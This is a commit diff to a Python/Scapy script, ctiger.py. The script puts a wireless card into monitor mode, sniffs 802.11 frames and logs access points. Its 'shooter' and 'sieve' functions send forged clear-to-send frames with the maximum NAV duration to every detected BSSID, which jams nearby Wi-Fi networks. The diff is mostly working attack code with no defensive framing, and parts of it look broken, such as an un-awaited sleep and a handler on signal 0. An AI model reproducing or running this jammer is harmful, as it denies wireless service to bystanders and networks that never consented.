like a top
This commit is contained in:
parent
41b8671dc9
commit
61f48ed359
1 changed files with 23 additions and 53 deletions
76
ctiger.py
76
ctiger.py
|
@ -286,41 +286,27 @@ def stop_monitor(if_mon):
|
|||
# ╚══════╝ ╚═╝ ╚═╝ ╚═╝╚═╝ ╚═╝╚═╝╚═╝ ╚═══╝╚══════╝╚═╝ ╚═╝
|
||||
# ----------------------------------------------------------------
|
||||
def strainer(pkt):
|
||||
if pkt[Dot11].type == 2 and pkt[Dot11].subtype == 12:
|
||||
if pkt[Dot11].type == 0 and pkt[Dot11].subtype == 4:
|
||||
bssid = pkt[Dot11FCS].addr2
|
||||
log.info('BSSID for sieve: ' + str(bssid))
|
||||
new_pkt = RadioTap()/Dot11(proto=0, type=1, subtype=11,
|
||||
addr1=bssid,
|
||||
addr2=macaddr,
|
||||
ID=65535)
|
||||
log.debug('Sending CTS frame to ' + str(bssid) + ' with type 11')
|
||||
sendp(new_pkt, iface=mon_if, verbose=0, count=2)
|
||||
if pkt[Dot11].type == 1 and pkt[Dot11].subtype == 12:
|
||||
try:
|
||||
bssid = pkt[Dot11FCS].addr2
|
||||
except:
|
||||
bssid = pkt[Dot11].addr2
|
||||
try:
|
||||
ssid = pkt[Dot11Elt].getattr('info').decode()
|
||||
except:
|
||||
ssid = extract_essid(pkt[Dot11Elt])
|
||||
|
||||
if len(ssid) < 1:
|
||||
ssid = 'N/A'
|
||||
dbm_signal = pkt.dBm_AntSignal
|
||||
if pkt.haslayer(Dot11Beacon):
|
||||
stats = pkt[Dot11Beacon].network_stats()
|
||||
channel = stats.get('channel')
|
||||
crypto = stats.get('crypto')
|
||||
else:
|
||||
crypto = "N/A"
|
||||
channel = extract_channel(pkt[Dot11Elt])
|
||||
pkt_list = [bssid, ssid, dbm_signal, channel, crypto]
|
||||
return pkt_list
|
||||
if pkt.haslayer(Dot11):
|
||||
try:
|
||||
bssid = pkt[Dot11FCS].addr2
|
||||
except:
|
||||
bssid = pkt[Dot11].addr2
|
||||
log.debug('BSSID: ' + str(bssid))
|
||||
if bssid is not None:
|
||||
if bssid == macaddr:
|
||||
log.debug('Ooops, intercepted our own frame.')
|
||||
pass
|
||||
else:
|
||||
log.debug('BSSID for shooter: ' + str(bssid))
|
||||
shooter(mon_if, bssid)
|
||||
scan_df.loc[bssid] = ['N/A', dbm_signal, channel, 'N/A']
|
||||
|
||||
|
||||
# -----------------------------------------------------------------
|
||||
|
@ -340,15 +326,13 @@ def shooter(mon_if, bssid):
|
|||
sendp(new_pkt, iface=mon_if, verbose=0, inter=0.1, count=2, realtime=True)
|
||||
|
||||
|
||||
|
||||
async def df_writer(scan_df, valid_file):
|
||||
def df_writer(scan_df, valid_file):
|
||||
while True:
|
||||
if scan_df.empty:
|
||||
await asyncio.sleep(30)
|
||||
pass
|
||||
else:
|
||||
scan_df.to_csv(valid_file)
|
||||
print('results written to file ' + valid_file)
|
||||
asyncio.sleep(30)
|
||||
|
||||
|
||||
# ---------------------------------------------------------------------------
|
||||
|
@ -392,13 +376,13 @@ def sieve(pkt):
|
|||
new_pkt = RadioTap()/Dot11(proto=0, type=1, subtype=11,
|
||||
addr1=bssid,
|
||||
addr2=macaddr,
|
||||
ID=65535)
|
||||
ID=65535)/Dot11FCS()
|
||||
log.debug('Sending CTS frame to ' + str(bssid) + ' with type 11')
|
||||
sendp(new_pkt, iface=mon_if, verbose=0, count=2)
|
||||
sendp(new_pkt, iface=mon_if, verbose=0, count=1)
|
||||
# return bssid
|
||||
|
||||
|
||||
def thud(pkt):
|
||||
def thumper(pkt):
|
||||
try:
|
||||
bssid = pkt[Dot11FCS].addr2
|
||||
except:
|
||||
|
@ -416,37 +400,23 @@ def thud(pkt):
|
|||
# ╚═╝ ╚═╝╚═╝ ╚═╝ ╚═════╝ ╚═╝ ╚═════╝ ╚═╝ ╚═╝ ╚═════╝ ╚══════╝
|
||||
# ----------------------------------------------------------------------------
|
||||
async def mac_purge(mon_dev, mon_type, valid_file, channels, mac_targ):
|
||||
""" Socket should probably be implemented to further filter out CTS frames
|
||||
If they occur. One async sniffer is better than two.
|
||||
"""
|
||||
signal.signal(signal.SIGINT, signal_handler)
|
||||
print('Enter Ctrl+C TWICE to fully stop the script.')
|
||||
global mon_if
|
||||
mon_if = start_monitor(mon_dev, mon_type, mac_targ)
|
||||
log.info(f'You now have {mon_if}.')
|
||||
scan_df = get_df()
|
||||
log.info('Dataframe created')
|
||||
chop = asyncio.to_thread(channel_runner, mon_dev, channels)
|
||||
chopper = asyncio.create_task(chop)
|
||||
log.info('Channel runner started.')
|
||||
await asyncio.sleep(0)
|
||||
while True:
|
||||
r1 = AsyncSniffer(iface=mon_if, prn=sieve,
|
||||
filter='type mgt && subtype probe-req', monitor=True,
|
||||
store=False)
|
||||
r1.start()
|
||||
log.info('Sniffer one started')
|
||||
# r2 = Asyncsniffer(iface=mon_if, prn=thud,
|
||||
# filter='type ctl && subtype cts',
|
||||
# store=False)
|
||||
# r2.start()
|
||||
# await asyncio.sleep(0.1)
|
||||
# log.info('Sniffer two started')
|
||||
# if r2.results():
|
||||
# log.info(f'{r2.results()} returned response.')
|
||||
# continue
|
||||
# else:
|
||||
# continue
|
||||
log.info('starting sniffer')
|
||||
asniff = AsyncSniffer(iface=mon_if, prn=strainer,
|
||||
store=False, monitor=True)
|
||||
asniff.start()
|
||||
log.info('asniffer started')
|
||||
nloop = asyncio.get_running_loop()
|
||||
nloop.add_signal_handler(0, df_writer, scan_df, valid_file)
|
||||
forever_wait = threading.Event()
|
||||
forever_wait.wait()
|
||||
|
||||
|
|
Loading…
Reference in a new issue